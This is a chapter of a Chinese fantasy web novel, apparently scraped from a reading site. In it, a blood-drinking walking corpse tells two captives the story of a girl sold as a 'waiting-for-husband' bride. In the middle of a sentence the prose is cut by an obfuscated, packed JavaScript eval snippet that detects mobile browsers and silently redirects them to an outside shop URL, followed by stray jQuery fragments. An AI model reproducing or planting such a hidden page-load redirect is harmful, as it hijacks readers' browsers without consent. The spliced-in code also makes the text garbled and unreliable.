默认冷灰
24号文字
方正启体

5. 冥婚配

作者:落丛笑本书字数:K更新时间:
    故事什么的,荆歌这会儿实在是无福消受,只想离他远一点,脚底却如千斤重,一动也动不了。她清楚地感知到自己的力量正在一点点地消失,视野也越来越模糊。


    魔祖扣在她腰间的手猛然一紧,将她带到了身后。


    “封住五感,这雾有毒。”


    话音未落,大雾弥漫得越发浓重,荆歌身子晕倒向地——什么五感?她不会封啊……


    视野完全丧失的前一刻,她似乎看到有什么东西,从空中撒了下来。


    再次醒来之时,荆歌入目便是一片平静的湖,春风一吹,粼粼波光如丝弦撩人心扉。这就是负恶离开时候进入的湖,鸡鸣湖。湖水几乎围住了一半的凤竹堡。


    视野中出现的白色网绳很是扎眼,她用手扒拉了几下,发现自己被捆在了网里,吊在湖边的石亭中。


    “醒了啊。”


    跛脚老人坐在凉亭之中,悠悠品着碗中的黑血,一双白眼眺望着无波无澜的湖面,开口道。


    “既然醒了,就听老夫把这书讲完吧。”老人一饮而尽杯中的黑血,抹去了嘴角的血滴,拿起一把折扇叩了下亭中的石桌。


    仔细看,他的脸色白如纸张,不见一丝血色,抹开的血迹顺着嘴角往脸颊爬,一直到了耳畔,就像是给这张枯瘦的苍白如纸的脸上,撕开了一张血盆大口,使本就狰狞的脸显得更加可怖。


    已经没有了方才的恐惧,荆歌观察着他,发现他动作僵缓,拿着扇子的手,指骨突出,指节向外翻转,整个手看上去是畸形的。


    他应该不是人。


    “这是个行尸。”


    同吊在一起的魔祖睨着亭中的老人,压着眼底的怒火,给荆歌解释道:“行尸,人死之后因各种原因发生的尸变,同常人般可行走,却无魂无魄无神识,会攻击活人,喜食人血。”


    身旁突然冒出来的声音吓了荆歌一跳,抚平心跳后看向同她在一张网中的魔头,暗自腹诽:你瞅瞅你,身材高大,面色凶狠,还是魔族的新老祖呢,怎么战斗力和她一个没修过仙的一样弱,真是书里描述的不可一世的大魔王吗?


    荆歌眼中的嫌弃尚未形成,脑中却陡然出现了昏迷前的场景——吸入毒雾之后,她头向地面栽去,魔祖大喊了一声:


    “荆歌!”


    这是她的名字,不是原书中女主的名字。


    好像就是在这时,趁着魔祖的注意力都在她身上,一张巨网从他们的头顶罩了下来。


    后来的事,荆歌就不记得了。


    “为何用这样的眼神,本座不弱!本座只是……”魔祖别过了眼,耳廓悄然泛红。


    看起来是真急了,对女主都用上“本座”了,荆歌心底“啧”了一声,忽然想起原文的设定,这魔王好像只有一千多岁,相比仙侠文中动辄十万八千岁的老仙人来说,确实是个孩子。智可能都未开的年龄,遇上了女主,情窦先开了。


    情窦初开的少男魔祖看到心爱的姑娘昏迷了过去,一时着急,关心则乱,被坏老头偷袭,困在网里,倒也解释得通。


    给他找完补后,荆歌收敛了眼中的嫌弃,宽慰道:“没嫌弃你,马有失蹄时,人肯定也有做错事的时候,你虽为魔祖,一时不察被抓住也情有可原,要怪就怪我,五感封得太慢了。”


    身旁人说得情真意切,少男魔祖越听脸越红,索性捂住了荆歌吧啦个不停的嘴巴,认真道:“不许怪你自己。”


    “要是让我再听到你说自己不好的话,本座就……”


    我就是随口这么一说,开玩笑我荆歌怎么可能会怪自己?这不是安慰你身为魔祖的自尊心吗?


    荆歌把这些话藏在了心底,只对着神色认真得有些可爱的魔祖眨巴两下眼睛,第一下是表示:好的魔祖,我知道了。第二是警告:再不放手,我就要咬人了。


    魔祖松开了手。


    行尸老人闻言大笑了起来,满口腥膻,抬眼看向网中待宰的“两只羔羊”,嘲讽道:“别白费力气苦苦挣扎了,这是扶生仙君做的缚灵网,无论你是何方神圣还是各方诸邪,只要进了这网,就甭想再出去了,还是乖乖待在网中,好好听老夫说书吧,说完,二位可自便。”


    行尸虽眼底一片白,荆歌却愣是从他脸上瞧出了不讲完书誓不罢休的倔劲。算了,他要讲,他们就听听呗,反正现在也出不去,着急没用,权当拖延时间想对策了。


    老人端起茶壶,又往杯中倒了些人血,一饮而尽,折扇在石桌上一敲,绘声绘色地讲起了一个故事。


    “两位书友——”老人起身,向网中的一人一魔作了一揖。


    荆歌心说:谁是你书友,人血擦净了好好说话。


    “故事一旦开场,讲不完可不能离场。”


    荆歌:谁想听了,搁着强买强卖呢!


    “二位坐好了慢慢听嘞。”


    荆歌:来来来你蹲这儿试试,腿都麻了。


    说书人来回踱步,正是开讲。荆歌从开始在心底反驳式吐槽到最后竟然越听越入迷。


    “话说,三百多年前,凤竹堡来了个六岁女娃,女娃不知其姓,只知乳名为阿蛮。阿蛮女娃水灵灵,叫人一见心欢喜,家家争她当等郎媳。”


    等郎媳?荆歌看了身旁的老祖一眼,小声问:“什么是等郎媳?”


    魔祖此时双目半阖,盯着说书的行尸,道:“简单来说,就是把女儿卖到旁人家,等着那家生出儿子成婚。”


    话音未落,荆歌便骂出了声:“大爷的,真他爹的荒唐,什么封建糟粕!要是那家生不出儿子,那姑娘的一辈子谁来赔?”


    从前她在书中看到童养媳的遭遇都能气到原地升天,不曾听说过等郎媳,她都不敢想,这些姑娘得多么的无望。


    说书人折扇一合,白眼看向荆歌,继续道:“姑娘莫急,且听我细细说。”


    “凤竹堡,富人住东头,穷人居西地,穷人生女作富人等郎媳。前者求子嗣,后者为生计。等来丈夫时,或容颜青青或两鬓风霜,等不来丈夫时,逼与鸡成亲,或卖烟柳地。”


    听到这里时,荆歌已经火冒三丈了,要不是在缚灵网中无能为力,她横竖得抓着这老行尸的衣领问:“你说的都是真的吗?这封建陋习谁定的,姑奶奶要去卸了他!”


    觉察到了身侧女子的愤怒,魔祖轻拍她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125981|196074||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的肩安抚她:“再忍忍。”话虽这样说,他的眉宇之中的恼怒,也快压不住了。


    说书人观察着他们的反应,折扇一开,继续往下讲。


    “这阿蛮到了主家后,勤勤恳恳,鸡鸣日升前起,日落挂月前难歇,实在受不了了,从东头跑回了西头,却被父亲赶了回去。”


    “其父边赶边打边骂:晦气的东西,哭什么哭,都卖给人家了,跑回来做什么,这早都不是你的家了!”


    原来,阿蛮家中添了弟,母亲却难产而亡。父也非亲生父,生父已死,母改嫁。


    荆歌眼泪再也忍不住了。


    她才六岁,父母就双亡了,还被继父卖给了人家当等郎媳!这命也太苦了!


    魔祖叹了一口气,从袖中拿出一张画着“黑毛球”的帕子,拂去了荆歌眼角的泪。


    说书人折扇一合,坐回了石凳上,慢悠悠地又给自己倒了一杯人血,品了起来,边品边道:“阿蛮回到主家后,又遭了一顿毒打,从此便没了回娘家的心,一心盼着婆婆早日产下男婴。”


    荆歌擦干眼泪,心中忿忿不平:她哪来的家?回哪儿去?


    “主家人总指着她婆母的肚子问她:怀的是男是女啊。阿蛮想说不知道,男孩女孩都行。但她知晓自己不能这般说,便道:男孩。”


    “其婆闻言心欢喜,笑道:好阿蛮,好阿蛮,等你的小丈夫出生,就有人疼你了。阿蛮盯其肚腹复说道:等我的小丈夫出生,就有人疼我了。”


    “后来啊,主家婆母确生一子,众人欢喜。然世事无常,天不遂人愿。”


    荆歌忙问:“发生什么了?”


    说书人道:“婆母难产亡,其子三日后气绝。”


    闻言,荆歌心头一裂,不知作何感受。


    魔祖神色阴沉,道:“从此以后,这女子的痛苦只会有增无减,与日俱增。”


    说书人看着魔祖,轻颔首,“这位听客说得对,从此以后,阿蛮遭受的苦难,越发深重。”他喝完壶中的最后一点黑血,放下折扇,对着网中一魔一仙道:“老夫要讲的,今日就讲到了这里,剩下的,请两位自己却瞧吧。”


    等等,这话是什么意思,不是说讲不完不让他们离场么?荆歌大为不解,直接问道:“你不是说说不完不放我们走么,现在这话什么意思,让我们去哪儿瞧,瞧什么!”


    说书老人不语,只掀起了壶盖,壶中人血喝尽了,壶壁上仍沾着血迹,他道:“老夫的‘茶’喝光了,讲不动了,劳驾二位出出血,去壶中走一趟吧。”


    话落,吊在亭中的缚灵网向下一松。荆歌下意识扒住了身旁唯一可以依靠的,魔祖顺势紧紧环住了她,恶狠狠地瞪了一眼说书的老东西。


    缚灵网在空中陡然变小,最终落进了茶壶中,说书老人急忙盖上了盖儿,恭恭敬敬地向翩然而至的红衣女子复命。


    “老夫完成姑娘交代的任务了。”


    女子点头。


    说书人保持着作揖的姿势,骤然变得干瘪,最后像白纸一张落在了地上,浸泡在了黑红色的血泊中。


    女人不再看他,盯着叮铃作响的茶壶,若有所思。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)